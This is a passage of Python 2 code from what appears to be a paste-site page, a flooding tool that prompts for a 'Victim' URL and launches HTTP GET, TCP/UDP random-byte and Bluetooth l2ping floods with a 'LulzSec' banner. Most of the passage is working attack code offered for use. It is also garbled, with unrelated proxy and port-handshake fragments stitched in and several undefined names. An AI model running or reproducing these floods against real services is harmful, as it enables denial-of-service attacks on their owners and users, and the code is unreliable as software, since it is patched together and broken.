  2163. s.close()
  2164. s = None
  2165. print "Socket " + str(self.target_port) + " timed out after two minutes."
  2166. except socket.error as msg:
  2167. s.close()
  2168. s = None
  2169. self.target_port += 1
  2170. self.server_shake(payload)
  2171.  
  2172. def client_shake(self, payload):
  2173. try:
  2174. if self.target_port <= 60200:
  2175. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2176. s.connect((args.host, self.target_port))
  2177. s.settimeout(120)
  2178. print "Sending data..."
  2179. s.sendall(str(payload))
  2180. print "Receiving data..."
  2181. data = s.recv(1024)
  2182. s.close()
  2183. return list(data)
  2184. else:
  2185. print "I never heard from the server, or I couldn't secure a port."
  2186. except socket.timeout as msg:
  2187. s.close()
  2188. s = None
  2189. print "Socket " + str(self.target_port) + " timed out after two minutes."
  2190. except socket.error as msg:
  2191. s.close()
  2192. s = None
  2193. self.target_port += 1
  2194. self.client_shake(payload)
  2195.  
  2196. def port_diff(self, local_ports, received_ports):
  2197. return set(local_ports).symmetric_difference_update(set(received_ports))
  2198.  
  2199. class UDPProxy():
  2200. def __init__(self, local_port, dst_addr):
  2201. """
  2202. portmap is in format as: 623: ['10.128.20.41', 623]
  2203. """
  2204. pool = Pool(10)
  2205. super(UDPProxy, self).__init__(local_port, spawn=pool)
  2206. self.reuse_addr = None
  2207. self.dst_addr = dst_addr
  2208.  
  2209. def handle(self, data, addr):
  2210. sock_dst = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  2211. if not data:
  2212. logger.error('an error occured')
  2213. return
  2214. logger.debug('received: {0!r} from {1}.'.format(data, addr))
  2215. sock_dst.sendto(data, self.dst_addr)
  2216. logger.debug('send: {0!r} to {1}.'.format(data, self.dst_addr))
  2217. data, _ = sock_dst.recvfrom(65565)
  2218. self.socket.sendto(data, addr)
  2219.  
  2220. class ServerPack(object):
  2221. def __init__(self, servers):
  2222. self.servers = servers
  2223. self._stop_event = Event()
  2224. self._stop_event.set()
  2225.  
  2226. def start(self):
  2227. self._stop_event.clear()
  2228. started = []
  2229. try:
  2230. for server in self.servers[:]:
  2231. server.start()
  2232. started.append(server)
  2233. name = getattr(server, 'name', None) or server.__class__.__name__ or 'Server'
  2234. logger.info('%s started on %s', name, server.address)
  2235. except:
  2236. self.stop(started)
  2237. raise
  2238. self._stop_event.wait()
  2239.  
  2240. def stop(self, servers=None):
  2241. self._stop_event.set()
  2242. if servers is None:
  2243. servers = self.servers[:]
  2244. for server in servers:
  2245. try:
  2246. server.stop()
  2247. except:
  2248. if hasattr(server, 'loop'): # gevent >= 1.0
  2249. server.loop.handle_error(server.stop, *sys.exc_info())
  2250. else: # gevent <= 0.13
  2251. import traceback
  2252. traceback.print_exc()
  2253. def http_attack():
  2254. ''' Simple HTTP attacks '''
  2255. requests_sent = 0
  2256. timeouts = 0
  2257. o = urlparse(target)
  2258. print("Starting HTTP GET flood on \""+o.netloc+":"+str(port)+o.path+"\"...")
  2259.  
  2260. try:
  2261. while True:
  2262. try:
  2263. connection = httplib.HTTPConnection(o.netloc+":"+str(port), timeout=2)
  2264. connection.request("GET", o.path)
  2265. requests_sent = requests_sent + 1
  2266. except Exception as err:
  2267. if "timed out" in err:
  2268. timeouts = timeouts + 1
  2269.  
  2270. except KeyboardInterrupt:
  2271. print("Info: Maked "+str(requests_sent)+" requests.\nTimeouts: "+str(timeouts))
  2272.  
  2273. def eth_attack():
  2274. ''' Ethernet/Wireless attack function '''
  2275. global log, target, debugMode, useProtocol, port
  2276.  
  2277. if useProtocol == "HTTP":
  2278. http_attack()
  2279. return
  2280.  
  2281. # number of packets for summary
  2282. packets_sent = 0
  2283.  
  2284. # TCP flood
  2285. if useProtocol == "TCP":
  2286. sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  2287. else: # UDP flood
  2288. sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM) # UDP
  2289.  
  2290. bytes=random._urandom(bytes_len)
  2291. addr=(target,port)
  2292.  
  2293. try:
  2294. sock.connect(addr)
  2295. except socket.error as e:
  2296. print("Error: Cannot connect to destination, "+str(e))
  2297. exit(0)
  2298.  
  2299. sock.settimeout(None)
  2300.  
  2301. try:
  2302. while True:
  2303. try:
  2304. sock.sendto(bytes,(target,port))
  2305. packets_sent=packets_sent+1
  2306. except socket.error:
  2307. if debugMode == True:
  2308. print("Reconnecting: ip="+str(target)+", port="+str(port)+", packets_sent="+str(packets_sent)) # propably dropped by firewall
  2309.  
  2310. try:
  2311. sock.close()
  2312. sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  2313. sock.connect(addr)
  2314. except socket.error:
  2315. continue
  2316.  
  2317. except KeyboardInterrupt:
  2318. print("Info: Sent "+str(packets_sent)+" packets.")
  2319.  
  2320. def bt_attack():
  2321. global target, port
  2322.  
  2323. # initialize socket
  2324. #sock=bluetooth.BluetoothSocket( bluetooth.RFCOMM )
  2325.  
  2326. # number of packets for summary
  2327. #packets_sent = 0
  2328.  
  2329. # connect
  2330. #try:
  2331. # try:
  2332. # sock.connect((target, port))
  2333. # except bluetooth.btcommon.BluetoothError as (bterror):
  2334. # print "Error: Cannot connect using RFC to "+target+" on port "+str(port)+", "+str(bterror[0])+""
  2335. # exit(0)
  2336.  
  2337.  
  2338. # while True:
  2339. # packets_sent=packets_sent+1
  2340.  
  2341. # send random data
  2342. # sock.send(str(random._urandom(bytes_len)))
  2343. #except KeyboardInterrupt:
  2344. # print "Info: Sent "+str(packets_sent)+" packets."
  2345. try:
  2346. if not os.path.isfile("/usr/bin/l2ping"):
  2347. print("Cannot find /usr/bin/l2ping, please install l2ping to use this feature.")
  2348. sys.exit(0)
  2349.  
  2350. sto = os.system ("/usr/bin/l2ping -f "+target+" -s "+str(bytes_len))
  2351. except KeyboardInterrupt:
  2352. sys.exit(0)
  2353.  
  2354. if __name__ == '__main__':
  2355. try:
  2356. num_threads = input('[#] DAME : ')
  2357. t_tot = input('[+] Time : ')
  2358. port = raw_input('[+] Port : ')
  2359. Data = raw_input('Load Dame(Y/N):')
  2360. except:
  2361. t_tot = 2
  2362.  
  2363. timer = t_tot * 600000
  2364. t_tot = t_tot * 600000
  2365. while True:
  2366. url = raw_input('[+] Victim: ')
  2367. try:
  2368. host_url = url.replace("http://", "").replace("https://", "").split('/')[0]
  2369. except IOError:
  2370. print 'Could not open specified url.'
  2371. else:
  2372. break
  2373. for host in range(int(threads)):
  2374. try:
  2375. port = sys.argv[2]
  2376. except IndexError:
  2377. port = random.randint(1,65535)
  2378. at = attack(sys.argv[1], int(port))
  2379. at.start()
  2380. for i in xrange(num_threads):
  2381. Spammer(url, i + 1).start()
  2382. for x in xrange(1000):
  2383. t = HTTPThread()
  2384. t.start()
  2385. print 'LulzSec=========> '
  2386. nload = 0
  2387. while not nload:
  2388. time.sleep(1)
  2389. time.sleep(2)
  2390. while timer > 0:
  2391. time.sleep(0.001)
  2392. print 'Request ' + '', timer, '' + '', timer, '' + '', timer, '' + '', timer, '' + '', timer, ''
  2393. Request = 999999999
  2394. timer -= 0.001
  2395. raw_input('> This attack is running........')
  2396. time.sleep(1)
  2397. Close = True
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement